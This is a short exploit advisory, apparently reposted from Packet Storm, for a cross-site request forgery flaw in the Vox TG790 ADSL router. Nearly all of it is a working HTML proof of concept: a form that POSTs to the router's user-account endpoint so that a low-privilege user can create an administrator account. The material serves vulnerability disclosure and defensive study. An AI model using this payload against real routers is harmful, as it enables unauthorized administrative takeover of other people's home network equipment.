Vox TG790 ADSL Router Cross Site Request Forgery

The Vox TG790 ADSL router suffers from a cross site request forgery vulnerability.


MD5 | f1ddebc2283a2129859fcbe0f67c5378

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# Title: Vox TG790 ADSL Router - Cross-Site Request Forgery (Add Admin)
# Author: Cakes
# Exploit Date: 2018-08-01
# Vendor: Vox Telecom
# Link: https://www.vox.co.za/
# Firmware Version: 6.2.W.1
# CVE: N/A
 
# Description
# Due to improper session management low privilege users are able to create 
# administrator accounts through a crafted POST request. 
 
# PoC
 
<html>
<form action="https://TARGET/cgi/b/users/cfg/usraccedit/?be=0&l0=2&l1=9&tid=ADD_USER" method="POST">
<input type="hidden" name="0" id="0" value="10">
<input type="hidden" name="1" id="1" value="usrAccApply">
<input type="hidden" name="34" id="34" value="LulzCakes">
<input type="hidden" name="36" id="36" value="1">
<input type="text" name="33" id="33" placeholder="Account Name">
<br />
<input type="text" name="31" id="31" value="Administrator">
<br />
<input type="submit" value="W00ts">
</form>
</html>


Source: packetstormsecurity.com
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